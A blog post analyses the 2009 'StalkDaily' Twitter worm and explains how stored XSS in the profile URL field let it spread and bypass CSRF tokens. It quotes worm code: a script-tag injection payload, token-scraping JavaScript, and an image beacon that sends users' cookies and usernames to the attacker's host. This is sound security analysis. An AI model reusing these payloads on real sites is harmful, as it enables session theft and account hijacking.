If you use Twitter a lot (unlike me) you’ll likely have been alerted and worried about the presence of a worm that’s been making the rounds at the popular micro-blogging website. The so-called “StalkDaily” worm was first noticed on Saturday, and it appeared to be able to “infect” a user’s Twitter profile, causing random tweets about the StalkDaily website (don’t go there) to show up on their profile. Furthermore, other user’s Twitter profiles could also become infected, seemingly by only viewing the profile of another infected user.
Eventually the source code of the worm was uncovered, (safe to view) and a quick analysis of the worm shows why it was able to quickly spread through Twitter so fast. Here’s an overview of how the worm worked.
Overview
The StalkDaily worm was apparently written by a person named “Mikeyy Mooney”, who is evidently a 17-year old from Brooklyn, New York. He created the original worm, plus other derivatives that spread using the same mechanism but displayed different messages on the infected user’s profile. The attack was not able to steal user’s passwords, thanks to Twitter’s security configuration, but it nonetheless caused over 10,000 unauthorized tweets to show up on users’ profiles.
Drilling down
An analysis of the source code of the worm yields some insight into how this malicious code was able to spread so effectively. Specifically, the attack used Type 2 or persistent XSS vulnerability, the most serious type, in order to achieve DOM/JavaScript injection into the Twitter site.
In this sort of attack, the attacker was able to arbitrary JavaScript into a page that was publicly viewable by any other user; in this case the page was a user’s profile. This injected JavaScript was then used to “infect” the profile of the user who viewed the already-infected profile, causing the cycle to repeat.
Specifically, the “URL” field of the user’s profile is targeted. This contents of this field were apparently not sanitized from user input, or the contents were not properly converted to HTML entities when setting the contents to the value of the href
attribute when displaying the user’s URL or homepage/website. This is seen in lines 104 and 109 of the source code, shown below:
var xss = urlencode('http://www.stalkdaily.com"><script src="http://mikeyylolz.uuuq.com/x.js"></script><a ');
...
var ajaxConn1 = new XHConn();
ajaxConn1.connect("/account/settings", "POST", "authenticity_token="+authtoken+"&user[url]="+xss+"&tab=home&update=update");
The last line is where the user’s profile is updated to show the offending JavaScript; this essentially make the user’s profile execute the worm’s source code, causing anyone who views the profile to become “infected” themselves.
Thus the attacker was able to exploit this to arbitrarily inject a SCRIPT tag into the DOM linking to a JavaScript file (x.js
) on his site. By doing this, he was able to get code he owned (the JavaScript file on his own website) to run at the privilege level of scripts on the Twitter.com domain. This “privilege escalation” of sorts is what allowed the script to perform actions on behalf of the user, including infecting their profile to spread to others, and causing the user to tweet phrases of the attacker’s choice.
Spreading
Once infected, a user’s profile would contain a link to the malicious JavaScript as described above. This is because the user’s profile shows a link to their website URL, which had been altered to inject the malicious JavaScript residing the attacker’s server. Because of this, anyone who was logged into Twitter and viewed an infected user’s profile would themselves be infected, and their profile would then become a vector for transmission of the worm, completing the cycle.
The source code also shows that each time you viewed an infected profile, the script would cause you to randomly tweet one of six different phrases, all of which linked to the StalkDaily website. It appears the attacker was trying to promote his website this way, but it’s also possible that going to this website could also cause you to become infected. While viewing a resource directly on the StalkDaily website could not cause you to become infected, due to the same-origin policy, it’s possible that a hidden iframe
could be included on the site, pointing towards the profile of an infected user. This would case you to become infected.
Why XSS is so important to prevent against
Cross-site scripting attacks, or XSS for short, essentially occur because user-input data is not properly sanitized prior to being committed to persistent storage, or is not properly escaped into HTML entities before being output to a webpage or displayed. This can allow a malicious user to inject or alter the structure of the DOM, inserting script
tags to inject their own arbitrary JavaScript into your website.
This attack demonstrates the need to effectively guard against these vulnerabilities, because such flaws can undermine other security precautions you have taken. For example, the source code of the worm shows that Twitter was using an “authentication token” for all form submissions in order to prevent Cross-site Request Forgery (CSRF) attacks. This is essentially using a temporary, random value to ensure that a form was submitted from the Twitter website itself, so that not any website can submit a form request to Twitter on behalf of a user.
This can normally prevent malicious websites from performing actions on your behalf without your knowledge; however because the XSS vulnerability allowed for DOM/script injection, the attacker’s script (on a separate domain) was able to run with the same privilege of a script on Twitter’s own site. Thus, it was able to read in the “authentication token” value from the HTML of the Twitter webpage, and use it to properly craft form submission data to alter the user’s profile and tweet on their behalf. This is seen on lines 85-90:
var content = document.documentElement.innerHTML;
authreg = new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
var authtoken = authreg.exec(content);
authtoken = authtoken[1];
//alert(authtoken);
Note that using a cookie to store the authentication token would not have prevented this. Because the script was running within the scope of the Tiwtter.com domain, it would be able to access the user’s cookies! In fact it does exactly this, and furthermore it sends your cookies to the attacker’s server so they can keep a log of them! Lines 78-81 show this: (The username is obtained from the DOM, much like the authentication token)
var cookie;
cookie = urlencode(document.cookie);
document.write("<img src='http://mikeyylolz.uuuq.com/x.php?c=" + cookie + "&username=" + username + "'>");
document.write("<img src='http://stalkdaily.com/log.gif'>");
Other notes
Obviously central to this problem is the ability of scripts on other domains to run within the scope of another domain simply by being linked to on the page via a script
element. This allows scripts not under the control of the originating domain to be able to access cookies and other information that would not be normally accessible.
However, this ability also allows useful services such as Google Analytics and other third-party services/APIs such as Google Maps, to work easily across different websites, allowing services to expose their features through a JavaScript API. Thus, making browsers reject third-party SCRIPT tags would cause serious usability problems; a better idea is to use a Firefox plugin like NoScript so that the user can have fine-grained control over issues like this.
Other points of interest when looking at the source code is that the bulk of the code are utility functions. The actual malicious code only takes up the last third of the file or so. For example, the function XHConn()
is simply a standard cross-browser compatible implementation of XMLHttpRequest, the API used for the Ajax requests necessary to alter the user’s profile. Additionally, the urlencode()
function is another utility function that allows values like the user’s cookies and the actual malicious script
tag to be properly submitted in the Ajax request.
Lastly, the malicious code is set to be executed 3250 ms after the script is fully-loaded. (line 111) This is likely to ensure that the DOM is fully loaded and ready to be traversed to find things like the username and authentication token, instead of hooking into an event like window.onload
.
Concluding remarks
This analysis identifies the following points:
- The worm spreads by updating your profile URL to include the malicious script.
- Simply viewing the profile of an infected user is suffice to cause your profile to become infected.
- Every time you view the profile of an infected user, including your own, the worm will cause you to automatically tweet one of the random messages.
- The random tweets from an infected user do not appear to contain the malicious code, probably because output here has been protected against that.
- The worm steals the cookies you have set for the Twitter.com domain, along with your username, but thankfully no password information is stolen since Twitter does not store that sort of information in cookies. It also appears to log each visit to an infected user’s profile.
- Visiting a third-party site (such as the StalkDaily website) may infect your Twitter profile if a hidden iframe has been included, pointing towards the profile of an infected user. This can be hard to detect, so using something the NoScript Firefox extension is recommended.
Note that this is not a criticism of Twitter itself, as designing any web application is difficult from a security perspective; it’s also worthwhile to note that Twitter responded fast to this issue, within hours on a Saturday. They appeared to have the situation under control as of yesterday and had patched the hole as well as being on their way to cleaning up infected users’ profiles. Understandably they are very upset and I hope they are able to sort the whole issue out.
[…] A unique random string value. This security measure was unfortunately exploited by the hacker behind the StalkDaily Worm fiasco. […]